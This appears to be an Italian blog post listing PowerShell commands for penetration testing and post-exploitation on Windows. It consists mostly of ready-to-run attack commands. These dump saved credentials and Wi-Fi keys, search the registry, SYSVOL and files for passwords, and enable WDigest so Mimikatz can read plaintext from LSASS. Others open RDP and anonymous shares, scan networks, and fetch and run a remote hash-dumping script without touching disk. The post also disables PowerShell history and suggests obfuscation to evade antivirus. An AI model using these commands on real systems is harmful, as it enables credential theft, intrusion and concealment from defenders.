Negli ultimi anni siamo stati testimoni di un incremento esponenziale della complessità dei sistemi e parallelamente abbiamo assistito ad un aumento dei comportamenti fraudolenti atti a sfruttarne le vulnerabilità e spesso orientati al furto di dati e informazioni, facendo della sicurezza un tema centrale per ogni azienda.
Questo articolo, che si discosta un po’ da quello a cui
siete abituati, si prefigge di evidenziare alcuni comandi PowerShell che
potrebbero essere utili durante una prima fase di penetration testing e non
meno importanti anche in ambito amministrativo.
Rilevante il fatto che non sia necessario alcun software o moduli di terze
parti che verrebbero potenzialmente contrassegnati come dannosi dai software
anti malware/virus.
Estrazione
delle credenziali
Tra le prime azioni in ambito post-exploitation (dopo aver
avuto l’accesso) che un codice malevolo o un attaccante tenta di portare a
termine c’è sicuramente l’estrazione e la sottrazione delle credenziali.
Non amo particolarmente preparare delle macchine demo
“vuote”, specie per questo genere di dimostrazioni, quindi passerò i comandi
“live” su una macchina di produzione per cui naturalmente verranno offuscate le
varie credenziali.
Password Vault
Il comando PowerShell confezionato di seguito si avvale
della classe “PasswordVault” nel Namespace “Windows.Security.Credentials”, un meccanismo
integrato in Windows per l'archiviazione di password e credenziali web.
Nota: Se avete attivato la sincronizzazione queste password saranno presenti su
tutti i vostri device.
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object
Windows.Security.Credentials.PasswordVault).RetrieveAll() | % {
$_.RetrievePassword();$_ }
Figura 1 – Output PasswordVault |
me si può facilmente immaginare (con questo sistema) sarà
possibile estrarre le credenziali esclusivamente nel contesto dell’utente che
ha effettuato l’accesso.
Vault utilizza i seguenti percorsi:
%ProgramData%\Microsoft\Vault\
%systemroot%\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
%userprofile%\AppData\Local\Microsoft\Vault\
Credential
Manager
Windows Credential Manager fornisce un altro meccanismo di
archiviazione delle credenziali per l'accesso a siti Web, l'accesso a sistemi
remoti, varie applicazioni e fornisce
anche un modo potenzialmente sicuro per utilizzare le credenziali negli script
di PowerShell.
Questo metodo di dumping delle password può dimostrarsi utile nel pentesting sia
interno che esterno.
Per l’estrazione avremo bisogno del modulo PowerShell
CredentialManager per cui passeremo prima il comando: Install-Module -Name
CredentialManager
Sebbene avendo il PIN impostato il comando non sia effecace
come il precendende, permette comunque di carpire alcune username e password
nel formato user:password. - Spoiler: l’ultima è amministrativa.
Un metodo sicuramente più efficace consiste nell’assicurarsi
una sessione remota tramite Metasploit Framework e succesivamente scaricare ed
eseguire Mimikatz (uno
strumento di dumping delle credenziali)
Anche in questo caso siamo nell’ambito del contesto utente.
%userprofile%\AppData\Roaming\Microsoft\Credentials\
%systemroot%\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\
%userprofile%\AppData\Local\Microsoft\Credentials\
Estrazione
delle password dai profili Wi-Fi
Con questo comand, eseguito con privilegi amministrativi,
possiamo estrarre tutte le password Wi-Fi memorizzate (WEP, WPA PSK, WPA2 PSK
ecc.) dai profili wireless memorizzati in precedenza:
(netsh wlan show profiles) | Select-String
"\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh
wlan show profile name="$name" key=clear)} | Select-String "Key
Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} |
%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table
-AutoSize
Nota: Se il sistema operativo è localizzato si rende necessario sostituire la stringa “Key Content” con la corrispondente in lingua. Nel nostro caso la stringa corrisponde a “Contenuto chiave”
In alternativa potete usare anche sofware di terze parti
come WirelessKeyView
di Nirsoft, che però viene “bloccato” da qualsisi antivirus e si sa è un po’ da
niubbi.
Estrazione
dal Registry
Il seguente comando PowerShell passerà al setaccio gli hive
del registry (HKCR, HKCU, HKLM, HKU e HKCC) e cercherà in modo ricorsivo quanto
specificato. In questo caso stiamo cercando il pattern "password" ma
potremmo naturlamente scansionare il registry alla ricerca di qualsiasi pattern.
$pattern = "password"
$hives =
"HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"
# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea
SilentlyContinue | sls "$pattern" }
# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea
SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match
"$pattern") { $_.PsPath; $_ | out-string -stream | sls
"$pattern" }}}
Privilege
escalation
Le sezioni seguenti contengono comandi PowerShell utili per
attacchi di escalation di privilegi - per i casi in cui abbiamo solo un accesso
utente con privilegi bassi e vogliamo aumentare i nostri privilegi
all'amministratore locale
Controllo
su AlwaysInstallElevated
Se le seguenti chiavi di registro AlwaysInstallElevated sono
impostate su 1, significa che qualsiasi utente con privilegi limitati può
installare file msi con privilegi NT
AUTHORITY \ SYSTEM.
Ecco come verificarlo con
PowerShell:
gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer'
-Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name
AlwaysInstallElevated
Unquoted
Service Path
Cosa significa?
Quando viene creato un servizio il cui percorso eseguibile
contiene spazi e non è racchiuso tra virgolette, porta a una vulnerabilità nota
come unquoted service path che consente a un utente malintenzionato di ottenere
privilegi di SISTEMA (solo se il servizio vulnerabile è in esecuzione con
privilegi di SISTEMA e la maggior parte lo è). Se il servizio non è racchiuso
tra virgolette e contiene spazi, Windows lo gestirà come un'interruzione e
passerà il resto del percorso del servizio come argomento.
Il seguente comando PowerShell restituirà i servizi il cui
percorso eseguibile non è racchiuso tra virgolette ("):
gwmi -class Win32_Service -Property Name, DisplayName,
PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName
-notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select
PathName,DisplayName,Name
Figura 5 - Unquoted Service Path
Ciò può portare all'escalation dei privilegi nel caso in cui il percorso
eseguibile contenga anche spazi e disponga dei permessi di scrittura per una
qualsiasi delle cartelle nel percorso.
Sul mio stesso PC è stato trovato un servizio potenzialmente
vulnerabile con la tecnica di privilege
escalation
LSASS
WDigest caching
Digest Authentication è un protocollo challenge / response utilizzato
principalmente in Windows Server 2003 per LDAP e l'autenticazione basata sul
Web. Utilizza gli scambi HTTP (Hypertext Transfer Protocol) e SASL (Simple
Authentication Security Layer) per l'autenticazione. Abilitato di default fino
a 2008 R2 e attivabile per tutte le versioni sucessive.
Utilizzando il seguente comando possiamo verificare se la
memorizzazione delle credenziali nella cache di WDigest è abilitata o meno sul
sistema. Questa impostazione determina se saremo in grado di utilizzare
Mimikatz per estrarre le credenziali in formato testo dalla memoria del
processo LSASS.
(gp
registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
Se il valore è impostato su 0, la memorizzazione nella cache
è disabilitata (il sistema è protetto)
Se non esiste o se è impostato su 1, la memorizzazione nella cache è abilitata
In caso sia disabilitata è possibile abilitarla
sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest
-name UseLogonCredential -value 1
Credenziali
in SYSVOL e Group Policy Preferences (GPP)
Negli ambienti aziendali in cui con tutta probabilità è
possibile trovare Windows Active Directory, le credenziali possono essere
trovate (a volte) archiviate nei Criteri di gruppo, in vari script
personalizzati o in file di configurazione nelle share SYSVOL dei Domain
Controller.
Poiché le condivisioni di rete SYSVOL sono accessibili a
qualsiasi utente di dominio autenticato, possiamo facilmente identificare se
sono presenti credenziali archiviate utilizzando il seguente comando:
Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue
| select-string password (or user)
Pop-Location
Anche la stringa “user” è un buon punto d’ingresso in quanto
si possono trovare password associate alle connessioni di rete e altro..
Comandi
utili per il Networking ed esecuzione di codice arbitrario
Di seguito
sono riportati alcuni comandi di PowerShell relativi alla rete che possono servire
in certe situazioni.
Settare
il MAC address da command-line
A volte può essere utile impostare l'indirizzo MAC su
un'interfaccia di rete e con PowerShell possiamo farlo facilmente senza
utilizzare alcuna utility di terze parti:
Set-NetAdapter -Name "Ethernet0" -MacAddress
"00-01-18-57-1B-0D"
Questo può essere utile ad esempio quando stiamo tentando il
bypasssare NAC (network access control) ecc.
Abilitare
Remote Desktop
I comandi
seguenti possono essere usati in caso volessimo connetterci al sistema
utilizzando una sessione RDP ma Remote Desktop non è abilitato per qualche
motivo:
#
Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace
root\cimv2\terminalservices).SetAllowTsConnections(1)
#
Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace
root\cimv2\terminalservices -Filter
"TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
#
Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" |
Set-NetFirewallRule -Enabled True
Ricerca degli Host usando una DNS ricerca
inversa
Usando il seguente script possiamo eseguire una rapida
ricerca DNS inversa sulla sottorete 10.10.1.0/24 e vedere se ci sono host
risolvibili (potenzialmente attivi):
$net =
"10.10.0."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft
NameHost -HideTableHeaders |
Out-String).trim().replace("\s+","").replace("`r","").replace("`n","
"); Write-Output "$net$_ $r"} | tee ip_hostname.txt
In alcuni casi
potrebbe essere più produttivo usare la tecnica di ping sweep
#Ping Sweep
(1..254) | % {$ip="10.10.0.$_"; Write-output "$IP $(test-connection -computername
"$ip" -quiet -count
Port scan di un host sulle porte più “interessanti”
Ecco come
eseguire rapidamente la scansione delle porte di un indirizzo IP specificato (192.168.1.106)
per le porte selezionate:
$ports = "21
22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121
3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080
8443 9200 27017"
$ip =
"192.168.1.106"
$ports.split("
") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_))
"Port $_ is open on $ip"} 2>$null
Figura 7 – Portscan
Port scan
in tutta la rete per una singola porta (port sweep)
Ciò potrebbe
essere utile ad esempio per scoprire rapidamente le macchine Windows (porta tcp / 445) su una sottorete di classe
C di rete specificata (192.168.1.0/24):
$port = 445
$net = "192.168.1."
0..255 | foreach
{ echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port
$port is open on $net$_"} 2>$null
Se volessimo scoprire tutte porte SSH dovremo sostituire la
porta con 22 e così via.
Creare un
drive condiviso (Guest)
Ecco uno script interessante per settare rapidamente una network
share SMB (CIFS) accessibile a chiunque:
new-item "c:\users\public\share" -itemtype
directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share"
-FullAccess "Everyone","Guests","Anonymous Logon"
per rimuovere una condivisione:
Remove-SmbShare
-Name "sharedir" -Force
Autorizzare un indirizzo IP nel firewall di Windows
(Whitelist)
Ecco un utile comando per inserire nella whitelist un
indirizzo IP nel firewall di Windows:
New-NetFirewallRule -Action Allow -DisplayName
"pen_test" -RemoteAddress 192.168.1.25
Per rimuovere la regola:
Remove-NetFirewallRule
-DisplayName "pen_test"
Download
ed esecuzione senza il supporto di file
Usando
questo comando di PowerShell possiamo facilmente scaricare ed eseguire codice
PowerShell arbitrario, ospitato in remoto, sulla nostra macchina o su Internet:
iex(iwr("https://URL"))
Il contenuto
remoto verrà scaricato ed eseguito senza toccare il disco (senza file).
Possiamo
usarlo per eseguire moduli offensive security famosi, ad esempio:
https://github.com/samratashok/nishang
https://github.com/PowerShellMafia/PowerSploit
https://github.com/FuzzySecurity/PowerShell-Suite
Ecco un
esempio di dumping degli hash delle password locali (hashdump) utilizzando il
modulo nishang Get-PassHashes:
iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes
Molto semplice, ma si tenga presente che sarà probabilmente
segnalato da qualsiasi AV decente.
Per aggirare l’ostacolo si potrebbero offuscare i moduli da
utilizzare e naturalmente ospitarli altrove.
Ottenere il
SID dell’utente corrente
Il seguente comando restituirà il valore SID dell'utente
corrente:
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
Controllare
se l’utente ha privilegi elevati (amministratore)
Ecco un breve script per verificare se stiamo eseguendo
sessioni di PowerShell con privilegi di amministratore:
If (([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]
"Administrator")) { echo "yes"; } else { echo
"no"; }
Disabilitare
il command logging di PowerShell
Per impostazione predefinita, PowerShell registra
automaticamente una cronolgia fino a 4096 comandi. Una comportamento simile su
verifica con Bash su Linux.
Il file della cronologia di PowerShell è un file di testo
situato nel profilo di ogni utente nella seguente posizione:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Con i seguenti comandi possiamo disabilitare la funzionalità
di registrazione dei comandi di PowerShell nella sessione corrente della shell:
Remove-Module PSReadline oppure Set-PSReadlineOption
–HistorySaveStyle SaveNothing
D'ora in poi, nessun comando verrà registrato nel file della
cronologia di PowerShell. Si noti tuttavia che i comandi precedenti verranno
comunque visualizzati nel file della cronologia.
Elencare
quali antivirus sono in esecuzione
Ecco un semplice comando di PowerShell per interrogare il
Centro sicurezza e identificare tutti i prodotti antivirus installati su questo
computer:
Get-CimInstance -Namespace root/SecurityCenter2
-ClassName AntiVirusProduct
Individuazione
di file con informazioni sensibili
I seguenti comandi di PowerShell possono essere utili
durante la fase di post-exploitation per individuare i file su disco che potrebbero
contenere credenziali, dettagli di configurazione e altre informazioni
sensibili.
Trovare file potenzialmente
interessanti
Con il comando seguente possiamo identificare i file con
dati potenzialmente sensibili come informazioni sull'account, credenziali, file
di configurazione ecc.
gci c:\ -Include
*pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts*
-File -Recurse -EA SilentlyContinue
Trovare
le credenziali nei file Sysprep o Unattend
Questo comando cercherà i rimasugli dell'installazione
automatica e della configurazione automatica, che potrebbero potenzialmente
contenere password in chiaro o password con codifica base64:
gci c:\
-Include
*sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt
-File -Recurse -EA SilentlyContinue
Trovare i
file di configurazione contenenti la stringa "password"
Con questo comando possiamo individuare i file contenenti un
certo pattern. Ad esempio in questo caso il pattern di "password" in
vari file di configurazione testuali:
gci c:\ -Include
*.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue |
Select-String -Pattern "password"
Trovare
le credenziali dei database nei file di configurazione
Utilizzando il seguente comando di PowerShell possiamo
trovare stringhe di connessione ai database (con credenziali in chiaro)
memorizzate in vari file di configurazione come web.config per la
configurazione ASP.NET, nei file di progetto di Visual Studio ecc .:
gci c:\ -Include *.config,*.conf,*.xml -File -Recurse
-EA SilentlyContinue | Select-String -Pattern "connectionString"
Trovare stringhe di connessione, ad esempio per Microsoft
SQL Server remoto potrebbe portare ad un attacco di tipo Remote
Command Execution (RCE)
Individuare
i file di configurazione del web server
Con questo comando, possiamo facilmente trovare i file di
configurazione appartenenti all'installazione di Microsoft IIS, XAMPP, Apache,
PHP o MySQL:
gci c:\
-Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf
-File -Recurse -EA SilentlyContinue
Questi file possono contenere password in formato testo o
altre informazioni interessanti che potrebbero consentire l'accesso ad altre
risorse come database, interfacce amministrative ecc.
Conclusioni
I comandi sopra, che sono uno spillo in un pagliaio di
dimensioni inimmaginabili, ci lasciano riflettere su quanto certi comportamenti
di utenti a admin possano agevolare alcuni tipi di attacco, definiamoli in
stile RED TEAM.
Utili per comprendere una prima fare di penetration test e di raccolta delle
informazioni e non meno importante anche estremamente utili per le attività
amministrative.
Nota: Usare quanto sopra a scopo di studio e testare solo nella
propria rete locale.
Nessun commento:
Posta un commento